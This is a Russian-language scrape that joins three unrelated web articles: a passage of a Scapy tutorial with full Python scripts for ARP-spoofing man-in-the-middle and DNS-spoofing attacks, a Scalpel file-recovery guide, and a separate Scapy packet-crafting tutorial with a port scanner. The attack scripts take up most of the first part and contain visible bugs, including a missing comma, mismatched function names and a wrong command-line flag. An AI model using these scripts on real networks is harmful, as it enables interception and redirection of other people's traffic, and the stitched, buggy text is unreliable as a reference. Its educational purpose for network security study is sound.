wrpcap("our_dump.pcap",a)

Файл с именем our_dump.pcap создастся в директории с нашим скриптом, если не указан полный путь. Позже его можно будет проанализировать мощным инструментом под названием Wireshark, который можно запустить прямо из скрипта командой wireshark(). Кстати говоря, про Wireshark есть достаточно крутая статья на Хабре (bit.ly/1ASzxWT). Настоятельно рекомендую ознакомиться.

ARP SPOOFING с Помощью SCAPY

Все это, конечно, интересно, но давай уже рассмотрим реальное применение этого инструмента. Для примера я выбрал одну из моих любимых атак — ARP poisoning, также известную под названием ARP spoofing. Перед тем как приступить к реализации, хотелось бы рассказать немного о самой атаке. На каждой машине в сети имеется такая вещь, как ARP-таблица, — она хранит соотношения IP-адресов машин в сети с их MAC-адресами. Суть атаки заключается в следующем: когда атакуемая машина посылает запрос на поиск роутера в сети, дабы отослать какую-либо информацию, мы посылаем ей ложный пакет с данными, в которых говорится «мы и есть роутер», и весь трафик, который должен был идти напрямую в Сеть, идет туда, но уже через нас, то есть такой вариант реализации классической MITM-атаки.

Реализовывать атаку, как ты понял, мы будем на языке Python с использованием библиотеки Scapy. Для простоты я буду приводить части программного кода, а потом разбирать их. Первой частью, конечно же, будет

#!/usr/bin/python from scapy.all import * import argparse import signal import sys import logging import time

#!/usr/bin/python

from scapy.all import *

import argparse

import signal

import sys

import logging

import time

В данной части, я думаю, никаких вопросов быть не должно, мы просто подключаем библиотеки вроде Scapy, системной и так далее.

def originalMAC(ip): ans,unans = srp(ARP(pdst=ip), timeout=5, retry=3) for s,r in ans: return r[Ether].src

def originalMAC(ip):

ans,unans = srp(ARP(pdst=ip), timeout=5, retry=3)

for s,r in ans:

return r[Ether].src

Функция originalMAC возвращает нам MAC-адрес для указанного IP-адреса.

def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("-t", "--targetIP", help="Введите IP-адрес цели, например: -t 192.168.1.5") parser.add_argument("-r", "--routerIP", help="Введите IP-адрес роутера, например: -r 192.168.1.1") return parser.parse_args()

def parse_args():

parser = argparse.ArgumentParser()

parser.add_argument("-t", "--targetIP", help="Введите IP-адрес цели, например:

-t 192.168.1.5")

parser.add_argument("-r", "--routerIP", help="Введите IP-адрес роутера, например:

-r 192.168.1.1")

return parser.parse_args()

Ну а эта функция, как можно догадаться из названия, будет парсить аргументы из строки, когда мы будем вызывать нашу программу. У нас будет два аргумента: targetIP и routerIP. В них, соответственно, будут находиться адреса для будущей атаки. Для их задания при вызове нашего скрипта будут использоваться ключи -t и -r соответственно.

def poison(routerIP, targetIP, routerMAC, targetMAC): send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst=targetMAC)) send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst=routerMAC))

def poison(routerIP, targetIP, routerMAC, targetMAC):

send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst=targetMAC))

send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst=routerMAC))

А вот и сама функция «заражения». Ее аргументами будут IP- и MAC-адреса нашего роутера и «машины-жертвы». В функции мы посылаем два ARP-пакета, в которых указываем необходимые адреса. О строении этого пакета можно подробнее узнать, используя команду lsc(arp).

def restore(routerIP, targetIP, routerMAC, targetMAC): send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetMAC), count=3) send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3) sys.exit("Закрытие…")

def restore(routerIP, targetIP, routerMAC, targetMAC):

send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetMAC), count=3)

send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)

sys.exit("Закрытие…")

restore полностью аналогична функции poison, однако выполняет обратную роль — она возвращает все наши MAC- адреса в ARP-таблице на правильные, проще говоря «обеззараживает».

def main(args): if os.geteuid() != 0: sys.exit("[!] Пожалуйста, запустите с правами root-пользователя") routerIP = args.routerIP targetIP = args.targetIP routerMAC = OrigialMac(args.routerIP) targetMAC = OriginalMac(args.targetIP) if routerMAC == None: sys.exit("Не найден мак-адрес роутера. Закрытие...") if targetMAC == None: sys.exit("Не найден мак-адрес цели. Закрытие...") with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf: ipf.write('1\n') def signal_handler(signal, frame): with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf: ipf.write('0\n') restore(routerIP, targetIP, routerMAC, targetMAC) signal.signal(signal.SIGINT, signal_handler) while 1: poison(routerIP, targetIP, routerMAC targetMAC) time.sleep(1.5) main(parse_args())

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

def main(args):

if os.geteuid() != 0:

sys.exit("[!] Пожалуйста, запустите с правами root-пользователя")

routerIP = args.routerIP

targetIP = args.targetIP

routerMAC = OrigialMac(args.routerIP)

targetMAC = OriginalMac(args.targetIP)

if routerMAC == None:

sys.exit("Не найден мак-адрес роутера. Закрытие...")

if targetMAC == None:

sys.exit("Не найден мак-адрес цели. Закрытие...")

with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:

ipf.write('1\n')

def signal_handler(signal, frame):

with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:

ipf.write('0\n')

restore(routerIP, targetIP, routerMAC, targetMAC)

signal.signal(signal.SIGINT, signal_handler)

while 1:

poison(routerIP, targetIP, routerMAC targetMAC)

time.sleep(1.5)

main(parse_args())

Ну и последняя часть нашей программы — функция main(), вызывается она, как ты успел заметить, с параметрами, парсинг которых мы описали немного ранее. Первым делом проверяем, от какого пользователя запущен наш скрипт. Как я уже говорил, нужны максимальные привилегии, так как работать приходится на низкосетевом уровне. Далее мы находим MAC-адреса нашей цели и роутера и, если все в порядке, запускаем заражение. Зараженные пакеты мы шлем в сеть каждые полторы секунды, чтобы цель не находила настоящий роутер. Запуск нашего скрипта:

python arpspoof.py -v 192.168.1.2 -r 192.168.1.1

python arpspoof.py -v 192.168.1.2 -r 192.168.1.1

Результат его работы можно посмотреть на рис. 5.

Итак,атака в самом разгаре, остается только запустить снифер.

DNS SPOOFING

Ну а теперь попробуем заняться чем-нибудь более сложным. Например… DNS-спуфингом. Суть данной атаки состоит в том, что мы атакуем DNS-кеш, в котором хранится соответствие между именами сайтов и их реальными IP-адресами, и подменяем адрес какого-либо сервиса на свой. В результате все запросы, идущие на этот сервис, будут приходить атакующему. В этот раз я не стану описывать совершенно понятные части вроде импорта библиотек, а возьмем лишь самое вкусное. Хочу заметить, что скрипт я писал под Linux, и если тебе, username, захочется его протестировать на другой ОС, придется немного попотеть самому. Собственно, об этом и сообщает функция osCheck(), проверяющая тип используемой ОС.

def osCheck(): if ( uname()[0].strip() == 'Linux' ) or ( uname()[0].strip() == 'linux ') : print(' Отлично, ты используешь Linux, начнем') else: print(' Ваша ОС отлична от Linux… Выход… ') print(' Этот скрипт написан для ОС Linux ') exit(0)

def osCheck():

if ( uname()[0].strip() == 'Linux' ) or ( uname()[0].strip() == 'linux ') :

print(' Отлично, ты используешь Linux, начнем')

else:

print(' Ваша ОС отлична от Linux… Выход… ')

print(' Этот скрипт написан для ОС Linux ')

exit(0)

Далее перейдем к функции main(). Первым делом нам необходимо поймать DNS-пакет (запрос к DNS-серверу), на питоне это будет выглядеть примерно так:

print(' Снифинг DNS-пакета... ') getDNSPacket = sniff(iface=argv[1], filter="dst port 53", count=1)

print(' Снифинг DNS-пакета... ')

getDNSPacket = sniff(iface=argv[1], filter="dst port 53", count=1)

После поимки необходимо проверить, действительно ли это DNS-пакет. Затем убедиться, что это DNS-запрос (getDNSPacket[0].haslayer(DNS)), а не DNS-ответ (getDNSPacket[0].getlayer(DNS).qr == 0) и что в нем запрашивается адрес какого-либо одного домена ((getDNSPacket[0].getlayer(DNS).qd.qtype == 1) and (getDNSPacket[0].getlayer(DNS).qd.qclass == 1)), а не чего-то еще. Для наглядности выведем сообщение о поимке и поставим время поимки, собранное воедино условие будет выглядеть так:

if ( getDNSPacket[0].haslayer(DNS) ) and (getDNSPacket[0].getlayer(DNS).qr == 0 ) and (getDNSPacket[0].getlayer(DNS).qd.qtype == 1 ) and( getDNSPacket[0].getlayer(DNS).qd.qclass== 1 ): print('\n Запрос получен в %s ' %ctime())

if ( getDNSPacket[0].haslayer(DNS) ) and (getDNSPacket[0].getlayer(DNS).qr == 0 ) and (getDNSPacket[0].getlayer(DNS).qd.qtype == 1 ) and( getDNSPacket[0].getlayer(DNS).qd.qclass== 1 ):

print('\n Запрос получен в %s ' %ctime())

Далее мы разбираем полученный пакет на составляющие части и запоминаем их. Если взглянуть на программный код, выглядеть это будет так:

clientSrcIP = getDNSPacket[0].getlayer(IP).src if getDNSPacket[0].haslayer(UDP) : clientSrcPort = getDNSPacket[0].getlayer(UDP).sport elif getDNSPacket[0].haslayer(TCP):clientSrcPort = getDNSPacket[0]. getlayer(TCP).sport clientDNSQueryID = getDNSPacket[0].getlayer(DNS).id print(' IP отправителя:%s, \n порт отправления %d \n ID запроса:%d \n содержимое запроса:%d \n текущий DNS-сервер:%s \n Запрос:%s '%(clientSrcIP, clientSrcPort,clientDNSQueryID,clientDNS QueryDataCount,clientDNSServer,clientDNSQuery))

clientSrcIP = getDNSPacket[0].getlayer(IP).src

if getDNSPacket[0].haslayer(UDP) :

clientSrcPort = getDNSPacket[0].getlayer(UDP).sport

elif getDNSPacket[0].haslayer(TCP):clientSrcPort = getDNSPacket[0].

getlayer(TCP).sport

clientDNSQueryID = getDNSPacket[0].getlayer(DNS).id

print(' IP отправителя:%s, \n порт отправления %d \n ID запроса:%d \n содержимое запроса:%d \n текущий DNS-сервер:%s \n Запрос:%s '%(clientSrcIP, clientSrcPort,clientDNSQueryID,clientDNS QueryDataCount,clientDNSServer,clientDNSQuery))

Ну и наконец, создаем поддельный пакет с помощью следующего кода:

DNS(id=clientDNSQueryID,qr=1,opcode=getDNS Packet[0].getlayer(DNS).opcode,aa=1,rd=0,ra=0, z=0,rcode=0,qdcount=clientDNSQueryDataCount, ancount=1,nscount=1,arcount=1,qd=DNSQR(qname=clientDNSQuery,qtype=getDNSPacket[0].getlayer(DNS).qd.qtype, qclass=getDNSPacket[0].getlayer(DNS).qd.qclass),an=DNSRR(rrname=clientDNSQuery, rdata=argv[2].strip(),ttl=86400),ns=DNSRR(rrname=clientDNSQuery,type=2,ttl=86400,rdata=argv[2]), ar=DNSRR(rrname=clientDNSQuery,rdata=argv[2].strip()))

DNS(id=clientDNSQueryID,qr=1,opcode=getDNS Packet[0].getlayer(DNS).opcode,aa=1,rd=0,ra=0, z=0,rcode=0,qdcount=clientDNSQueryDataCount, ancount=1,nscount=1,arcount=1,qd=DNSQR(qname=clientDNSQuery,qtype=getDNSPacket[0].getlayer(DNS).qd.qtype, qclass=getDNSPacket[0].getlayer(DNS).qd.qclass),an=DNSRR(rrname=clientDNSQuery,

rdata=argv[2].strip(),ttl=86400),ns=DNSRR(rrname=clientDNSQuery,type=2,ttl=86400,rdata=argv[2]), ar=DNSRR(rrname=clientDNSQuery,rdata=argv[2].strip()))

Это и есть тот самый Packet Crafting в действии. На самом деле это только выглядит страшно, а составляется достаточно просто. Стоит лишь взглянуть на структуру пакета (помнишь, я рассказывал, как это сделать, в начале статьи?) и подставить полученные из запроса данные, далее мы просто отсылаем этот пакет и делаем все описанные выше действия по кругу. Выполнение скрипта можно увидеть на рис. 6.

В Заключении

Ну что же, дорогой Username, вот мы и рассмотрели азы Scapy. Подводя итог, хотелось бы еще раз напомнить, что это очень мощный и крутой инструмент для построения пакетов, их отлова, а также работы с сетью на любом уровне. Я считаю, что любой человек, увлекающийся ИБ, просто обязан ознакомиться с ним.

Рейтинг материала

[Голосов: 0 Рейтинг: 0]

antiddos.biz

Scalpel: современный инструмент восстановления данных.

В прошлой статье я рассказывал о Foremost, наследнике работавшей в DOS программы CarvThis. Сегодня поговорим о Scalpel, форке Foremost.

Общие принципы работы здесь те же: удаленные или утерянные файлы ищутся по первым и последним байтам, а также другим характерным признакам. Однако, есть и важные отличия, на которых я обязательно остановлюсь. Словом, если вы нечаянно удалили или повредили свои данные, Scalpel поможет их вернуть.

Дальнейший текст подразумевает, что вы читали предыдущую статью, где речь шла о восстановлении данных с помощью Foremost. В крайнем случае прочтите хотя бы вступление и первый раздел:

Foremost — программа для восстановление утраченных данных в домашних условиях.

Особенности программы Scalpel в Ubuntu.

Важная и полезная особенность Scalpel заключается в том, что эта программа ориентирована на скорость работы. Более высокая производительность достигается за счет многопоточности на многоядерных процессорах и асинхронного ввода-вывода. Более того, внеся небольшие изменения в исходный код программы, можно включить поддержку GPU (только для Nvidia). В этом случае число работающих одновременно потоков значительно увеличится, а работа программы ускорится.

Конфигурационный файл Scalpel очень похож на таковой у Foremost, хотя отличия все же есть. Одно из самых полезных — возможность использовать регулярные выражения для описания содержимого файла. Это очень удобно, когда нужно найти текстовый файл, точного содержания которого вы не знаете, но известно, например, что там есть последовательно идущие символы «GPU», а затем, через неизвестное количество символов, встречается «Nvidia». Поскольку текстовые документы, в отличие от бинарных, нельзя вычислить по первым и последним байтам, регулярные выражения очень пригодятся для поиска утраченных логов, исходных кодов программ и многого другого.

При желании можно использовать конфиг от Foremost, указав путь к нему после ключа -c. При этом рекомендуется добавить ключ -b .

А теперь ложка дегтя. И многопоточность, и поддержка регулярных выражений появились в версии 1.9, но в репозитории Ubuntu 16.04 (как, впрочем, и новейшей 17.04) находится версия 1.6. Если вам нужны эти возможности, придется скачать программу из репозитория на Github и собрать самостоятельно. Я же буду использовать версию 1.6.

Простой пример использования Scalpel в Ubuntu.

Как обычно, установим программу Scalpel в Ubuntu из репозитория:

sudo apt install scalpel

После этого отредактируем конфиг Scalpel в Ubuntu:

sudo gedit /etc/scalpel/scalpel.conf

Здесь нам нужно раскомментировать интересующий нас тип файлов или добавить соответствующую строку, если он отсутствует (об этом далее). Давайте попробуем поискать pdf:

Не нужно раскомментировать сразу все, это замедлит обработку данных. Включайте только те типы файлов, которые нужно восстановить.

Запускаем Scalpel в Ubuntu, выполнив в терминале команду:

sudo scalpel ~/flash_image/my_flash_image.img -o ~/restored -v

Здесь ~/flash_image/my_flash_image.img — путь к образу устройства, с которого восстанавливаются данные. Вместо ~/restored, соответственно, подставьте свой путь к папке, предназначенной для записи результатов.

Смотрим, что получилось:

Как и в случае с Foremost, папка с файлами и отчет.

Добавление собственных типов файлов в конфиг Scalpel и Foremost.

Итак, давайте предположим, что нам нужно восстановить cdr файл. Нам понадобится простой HEX-редактор, а также файл этого же типа в качестве образца. В качестве первого я буду использовать Ghex.

sudo apt install ghex

Откроем с его помощью наш файл:

ghex ~/2.cdr

Слева данные представлены в HEX (шестнадцатеричном) формате. Справа — ISCII. Нас интересуют первые символы. Выделяя символы с одной стороны, вы увидите соответствующие им значения слева. RIFF — это распространенный контейнер, в котором могут находиться самые разные бинарные файлы. Уже кое-что, но явно недостаточно. Далее, после точек, в ISCII мы видим CDR, что указывает на тип содержимого. За этим идет версия, что нам уже ни к чему. Итак, нам нужны HEX-значения (слева) до символа R в CDR включительно.

Если вы испытываете затруднения с вашим форматом файла, не ленитесь обратиться к поисковым системам. По запросу «расширение_вашего_файла signatures» вы наверняка найдете подробную информацию.

Открываем scalpel.conf и добавляем следующую строку:

cdr y 100000000 \x52\x49\x46\x46\xF0\xBD\x08\x00\x43\x44\x52 \x21\x04\x00\x00\x00\x00\x00\x00\xDC\x05\x00\x00

cdr y 100000000 \x52\x49\x46\x46\xF0\xBD\x08\x00\x43\x44\x52  \x21\x04\x00\x00\x00\x00\x00\x00\xDC\x05\x00\x00

Первое значение (cdr) — расширение искомого файла. Если оно не имеет значения, укажите NONE. Второе значение определяет, нужно ли учитывать регистр символов, у — да, n — нет. Далее идет максимальный размер в байтах. Для версий Scalpel от 1.9 можно указывать и минимальное, и максимальное значение в формате мин:макс. Следующие две строки мы взяли из начала и конца файла нужного нам типа (см. выше), а затем добавили \x, чтобы указать на шестнадцатеричный формат.

Запускаем Scalpel:

sudo scalpel ~/images/image.img -o ~/restored -v

Немного ждем — и… вот он, наш файл:

Открывается тоже без проблем.

www.linuxrussia.com

Packet Crafting / LinkMeUp

Александр sinister подготовил для linkmeup новую интереснейшую статью.

=====================================

Создание пакетов или packet crafting — это техника, которая позволяет сетевым инженерам или пентестерам исследовать сети, проверять правила фаерволлов и находить уязвимые места. Делается это обычно вручную, отправляя пакеты на различные устройства в сети. В качестве цели может быть брандмауэр, системы обнаружения вторжений (IDS), маршрутизаторы и любые другие участники сети. Создание пакетов вручную не означает, что нужно писать код на каком-либо высокоуровневом языке программирования, можно воспользоваться готовым инструментом, например, Scapy.

Scapy — это один из лучших, если не самый лучший, инструмент для создания пакетов вручную. Утилита написана с использованием языка Python, автором является Philippe Biondi. Возможности утилиты практически безграничны — это и сборка пакетов с последующей отправкой их в сеть, и захват пакетов, и чтение их из сохраненного ранее дампа, и исследование сети, и многое другое. Всё это можно делать как в интерактивном режиме, так и создавая скрипты. С помощью Scapy можно проводить сканирование, трассировку, исследования, атаки и обнаружение хостов в сети. Scapy предоставляет среду или даже фреймворк, чем-то похожий на Wireshark, только без красивой графической оболочки. Утилита разрабатывается под UNIX-подобные операционные системы, но тем не менее, некоторым удается запустить ее и в среде Windows. Эта утилита так же может взаимодействовать и с другими программами: для наглядного декодирования пакетов можно подключать тот же Wireshark, для рисования графиков — GnuPlot и Vpython. Для работы потребуется права суперпользователя (root, UID 0), так как это достаточно низкоуровневая утилита и работает напрямую с сетевой картой. И что важно, для работы с этой утилитой не потребуются глубокие знания программирования на Python.

Официальный сайт проекта — www.secdev.org/projects/scapy/ Установку можно провести разными способами, например apt-get install python-scapy, в случае дистрибутивов на основе Debian. Так же можно просто скачать свежую версию с сайта разработчиков:# cd /tmp # wget scapy.net # unzip scapy-latest.zip # cd scapy-2.* # sudo python setup.py install После этого запуск происходит непосредственно командой scapy. На экране отобразится примерно так:

Мы видим стандартное приглашение для ввода, все действия будут выполняться в интерактивном режиме. Выход происходит комбинацией Ctrl+D, либо набрав функцию exit().

На самом деле Scapy сильно отличается от привычных утилит. Он работает в текстовом режиме, но любое взаимодействие осуществляется не через привычные ключи и параметры командной строки, а через интерпретатор Python'а. Такой подход вначале может показаться несколько неудобным и непривычным, но со временем и с практикой приходит понимание того, что это было правильным решением, и что это действительно удобно.

Вначале посмотрим на поддерживаемые протоколы, для этого вызовем функцию ls().

Вывалится более 300 разнообразных протоколов, с которыми можно работать, включая прикладные вроде HTTP, транспортные TCP и UDP, сетевого уровня IPv4 и IPv6 и канального уровня Ether (Ethernet). Важно обращать внимание на регистр: большинство протоколов пишутся в Scapy с заглавными буквами. Для того чтобы подробно рассмотреть поля определенного протокола, можно вызвать функцую ls() с указанием протокола: ls(TCP)

В результате будут выведены все поля, которые можно модифицировать в процессе создания пакетов. В скобках показаны значения, которые используются по умолчанию, можно заметить, что порт отправителя 20 (это ftp-data) и порт получателя – 80 (это естественно HTTP), так же установлен флаг SYN (flags = 2).

К примеру, если рассмотреть канальный уровень (Ethernet), то тут возможностей будет поменьше:

В дополнение к функции ls(), есть полезная функция lsc(), которая выведет практически весь основной функционал Scapy:

Для того чтобы получить более подробную информацию о каждой функции, можно использовать help(имя_функции), например:

Видим нечто похожее на MAN страницу в Unix системах. Для выхода можно использовать опять же привычную в Linux клавишу Q.

Мы посмотрели на протоколы и функции, теперь можно перейти к делу — к созданию пакетов.

Можно создавать сразу пакеты высоких уровней (сетевого и прикладного), и Scapy автоматически дополнит низлежащие уровни, а можно вручную собирать, начиная с канального уровня. Разделяются уровни модели OSI символом прямого слэша (/). Нужно обратить внимание на то, что Scapy читает пакет от нижнего уровня слева, до более высокого справа. Поначалу это может немного сбивать с толку, но после небольшой практики всё станет вполне привычно. К слову, в терминологии Scapy сетевой пакет разделяется на слои, и каждый слой представляется как экземпляр объекта. Собранный пакет в упрощенном виде может выглядеть как:Ether()/IP()/TCP()/”App Data” В большинстве случаев используется только уровень L3, предоставляя Scapy возможность самостоятельно заполнять канальный уровень, на основе информации из ОС. Меняя значения полей каждого протокола мы меняем стандартные значения (их выводит функция ls()).

Теперь создадим какой-нибудь простой пакет.

Всё очень просто: мы указали адрес назначения, порт и вобщем-то нагрузку в виде слова «TEST». Сам пакет был незамысловато назван packet, мы увидим очень подробно и развернуто наш свежесозданный пакет: И теперь, выполнив знакомую уже функцию ls(packet):

Уровни в нем разделяются символами "--".

Вместо того, чтобы создавать пакет за один раз можно создавать его частями:

В этом примере мы создали переменные под каждый уровень модели OSI. В качестве имен переменных можно использовать и буквы и цифры, при этом, не забывая о регистре.

И теперь собираем всё в один пакет:

Видно, что результат получится аналогичный.

Мы уже смотрели на вывод функции ls(), но не всегда нужна такая подробная информация о пакете. Достаточно просто набрать имя переменной и сразу увидеть краткую сводку:

Так же можно использовать метод summary():

Если же нужно чуть больше информации, то есть метод show():

Кроме того, можно просмотреть любое поле, просто указав его:

Разумеется, это работает только в том случае, если такие поля уникальны в пределах пакета. Если, например, взять поле flags, которое присутствует как в TCP, так и в IP, тут уже нужно конкретизировать, что мы хотим увидеть. В противном случае Scapy выведет значение первого найденного поля (IP flags в нашем примере). Конкретизация происходит путем указания протокола в квадратных скобках:

К слову, по умолчанию установленные флаги выводятся в цифровом представлении. Если все управляющие биты будут включены (установлены в 1), то получим значение равное 255. В нашем случае значение 2 говорит о том, что установлен SYN бит.

Но существует возможность отобразить управляющие биты и в символьном отображении:

Как уже говорилось, в любой момент можно достаточно просто поменять значение любого поля:

А в случае, если поле не является уникальным, то нужно указать протокол:

Вторым способом является использование конструкции payload, которая позволяет перепрыгнуть через один уровень (через L3 в нашем случае):

Здесь мы вначале просматриваем вывод слоев над L3, затем просматриваем значение TCP флагов и устанавливаем для них новое значение. Кстати, можно даже несколько раз вызвать payload, поднимаясь при этом выше и выше:

Можно еще посмотреть на содержимое пакета в шестнадцатеричном виде, для этого есть функция hexdump():

Scapy и в деле указания адреса получателя так же проявляет большую гибкость. Масса вариантов — здесь и привычная десятичная форма, и доменное имя и CIDR нотация:

В последнем случае пакет будет отправлен на каждый адрес в подсети.

Множество адресов можно задать, просто разделяя их запятой, не забыв про квадратные скобки:

На этом этапе может возникнуть мысль: «А что если нужно задать множество портов?». И тут Scapy предоставляет широкие возможности, можно указать как диапазон, так и просто перечислить множество:

Обращаю внимание на различие в скобках, в случае диапазона они круглые, а в случае множества – квадратные. И завершая разговор про указание целей, рассмотрим ситуацию, когда нужно отправить множество пакетов на множество портов. Для того, чтобы увидеть какие пакеты будут отправлены придется задействовать цикл for, не забываем, что язык программирования у нас Python. На самом деле ничего сложного, всё очень логично:

Вначале мы уже привычно создаем пакет, в котором указываем подсеть и диапазон портов. Затем, используя цикл, создаем список, где переменной «а» присваивается каждый элемент структуры пакета. В Python'е отсутствуют массивы в привычном понимании. Вместо них для хранения объектов используются списки. Мы используем цикл for, для того чтобы «распаковать» всю структуру и отобразить ее в таком наглядном виде.

С таким же размахом и широтой происходит и отправка пакетов:
  • функция send() – отправляет пакеты, используя сетевой (L3) уровень, никак не обрабатывая ответы. Используется принцип — отправили и забыли;
  • функция sendp() – отправляет пакеты, используя канальный (L2) уровень, учитываются указанные параметры и заголовки Ethernet кадров. Ответы всё так же не ожидаются и не обрабатываются;
  • функция sr() – является аналогичной send(), исключение составляет то, что она уже ожидает ответные пакеты;
  • функция srp() – отправляет и принимает пакеты, уровень L2
  • функция sr1() – отправляет пакет третьего уровня и забирает только первый ответ, множество ответов не предусматривается;
  • функция srp1() – аналогично sr1(), только уже канальный уровень.
Каждую из этих функций можно вызвать и без дополнительных параметров, просто указывая имя переменной, содержащей пакет.

Но вместе с тем существует много дополнительных опций, которые могут быть иногда полезны. Например, timeout – укажет, сколько времени (в секундах) нужно ждать до получения ответного пакета, retry – сколько раз нужно повторно слать пакет, если ответ не был получен и одна из самых полезных опций – это filter, синтаксис которого очень похож на tcpdump.

В качестве наглядного примера отправим пакет в сеть:

Здесь мы используем функцию, которая после отправки ожидает ответ, устанавливаем таймаут 0.1 секунды и фильтруем ответы, которые подпадают под указанное правило.

Как поступать с ответными пакетами? Можно взять и назначить переменную, которая и будет содержать ответ:

А смотреть уже привычным способом, просто вызывая переменную response. Видно, что ответ сохранился в двух вариантах – Results и Unanswered, результаты и без ответа, соответственно. Указывая смещение, можно вывести только необходимую часть ответа:

Или подробную информацию:

Если же пакет был отправлен в сеть без указания переменной (например, просто функцией sr()), то по умолчанию пакет будет числиться за переменной "_" (символ подчеркивания).

Чтобы достать оттуда эти пакеты, можно использовать конструкцию:

При этом разные результаты сохранятся в двух разных переменных (res и unans).

Более подробный вывод достигается опять же путем указания смещения:

Теперь рассмотрим ситуацию, если пакетов в ответ приходит много.

То, что мы увидели, было по сути, самое что ни есть сканирование портов.

Открытые порты будут с флагами SA (SYN/ACK), например:

Мы смотрим именно на пакет по номеру, счет традиционно начинается нуля.

Можно пойти дальше и распаковать этот результат:

Здесь мы извлекли из результата отправленный пакет (под номером 21) и ответ на него. Но это только один пакет, а как быть, если нужно обработать все пакеты? В таком случае придется вновь обращаться к циклу for:

Берем и разбиваем каждый элемент списка res на части a и b. Затем обрезаем часть “a”, заливая это всё в список “allsent”. Аналогично создаем список allrec, только уже оставляем другую часть. Всё это, конечно, хорошо, но хотелось бы в более удобном виде получить список открытых и закрытых портов. Еще раз посмотрим на список res, a точнее на элемент res[0], который состоит из двух частей: пакет, который мы отправили res[0][0], и ответ, который получили res[0][1].

В ответе можно обнаружить три части — заголовок IP (res[0][1][0]), заголовок TCP (res[0][1][1]) и собственно сами данные (res[0][1][2]).

Используем цикл for для извлечения каждого элемента res[N] в переменную «а».

Теперь в переменной «a»содержится результат для каждого пакета. Другими словами «а» представляет собой ans[N]. Нам остается только проверить значения a[1][1], которые будут означать res[N][1][1] в заголовке TCP. Если быть еще более точным, требуется значение 18, которое означает установленные флаги SYN-ACK.

В тех случаях, когда это условие сработает, мы еще выведем порт отправителя из заголовка TCP:

В итоге, получим результат в виде списка открытых портов. Все вышеозначенные конструкции набираются за один раз, важно так же уделять внимание отступам (обычно это 4 пробела).

Мы только что вручную написали простой сканер портов, не больше и не меньше.

Листинг 1 Сканер портов>>> packet=IP(dst="192.168.10.10")/TCP(dport=(1,100),flags="S"))

>>> res,unans=sr(packet,timeout=10)

>>> for a in res: ... if a[1][1].flags==18: ... print a[1].sport

В Scapy входит также и небольшой сниффер, за который отвечает функция sniff(). Естественно, с ним можно использовать фильтры (похожие на фильтры tcpdump), за это отвечает параметр filter, так же можно ограничивать количество пакетов с помощью параметра count. Как всегда вызов help(sniff) выведет вполне подробную информацию по этой функции. Не следует забывать, что это сильно упрощенный сниффер, и ожидать от него хорошей скорости особо не приходится. Стандартная комбинация Ctrl+C прервет процесс захвата трафика и выведет результат. Как и любая неопределенная переменная, результат попадет в "_". Выполнив метод summary(), можно увидеть статистику по захваченным пакетам:

Вместо захвата трафика из сети, можно прочитать его из заранее сохраненного дампа (pcap файла).

Кроме того, можно и наоборот, записать пойманные пакеты в файл, используя функцию wrpcap():

И завершая тему сниффинга, можно вызвать Wireshark прямо из интерфейса Scapy, для этого можно использовать одноименную функцию wireshark().

Подробно про Wireshark можно в моей предыдущей статье по адресу http://linkmeup.ru/blog/115.html.

Всё, что мы рассматривали, происходило непосредственно в интерактивном режиме. Но, естественно, многие вещи можно автоматизировать, написав скрипты. Для этого в начале скрипта нужно будет указать:#!/usr/bin/python Знакомый для пользователей ОС Linux, shebang. (http://en.wikipedia.org/wiki/Shebang_(Unix))from scapy.all import * Импортировать весь функционал Scapy. После этого уже можно писать необходимые функции. Важно делать отступы при написании циклов в скриптах, иначе будут появляться сообщения об ошибках, и скрипт не будет работать. Тут же рассмотрим и подключение дополнительных модулей к Scapy на примере OSPF. Изначально Scapy не умеет работать с протоколом OSPF. Если выполнить load_contrib('ospf'), то будет сообщение об ошибке: «ERROR: No module named contrib.ospf». Вначале скачаем модуль, его можно взять тут. Затем нужно создать каталог contrib:# mkdir /usr/lib/python2.7/dist-packages/scapy/contrib И перенести модуль в свежесозданный каталог:# cp ospf.py /usr/lib/python2.7/dist-packages/scapy/contrib/ Теперь если зайти в Scapy и просмотреть список подключенных сторонних модулей (за это, как вы догадались, отвечает функция list_contrib()):>>> list_contrib() ospf: OSPF status=loads >>>Казалось бы, что уже всё готово, но не тут то было. При очередной попытке подгрузить ospf модуль:>>> load_contrib('ospf'), получаем всё ту же ошибу «ERROR: No module named contrib.ospf» Для того, чтобы модуль окончательно заработал, осталось создать скрипт инициализации (пустой файл):touch /usr/lib/python2.7/dist-packages/scapy/contrib/__init__.py После этого, уже можно будет создавать пакеты для OSPF. Для этого нужно будет поймать SYN/ACK ответ, извлечь из него TCP sequence number, увеличить значение на единицу и, собственно, и поместить полученное значение в поле acknowledgement number. Непростая задача на первый взгляд, но Scapy может справиться и с ней. Вначале рассмотрим, что нам нужно, для того чтобы всё прошло успешно.

1) Отправить SYN принимающей стороне:

  • собрать заголовок IP, не забыть про адрес отправителя и получателя;
  • собрать TCP заголовок, в котором нужно будет указать TCP порты отправителя и назначения, установить TCP флаги (SYN бит) и сгенерировать ISN (Initial Sequence Number).
2) Поймать ответный пакет:
  • сохранить ответ;
  • извлечь из него TCP sequence number и увеличить это значение на единицу.
3) Создать подтверждение (ACK) на полученный ответный пакет:
  • собрать заголовок IP, содержащий такие же адреса отправителя и получателя, как в случае SYN пакета;
  • собрать TCP заголовок, с такими же номерами портов, как и в SYN сегменте, но уже установить ACK флаг, увеличить значение ISN на единицу и установить acknowledgement в извлеченный и увеличенный, на втором шаге, sequence number.
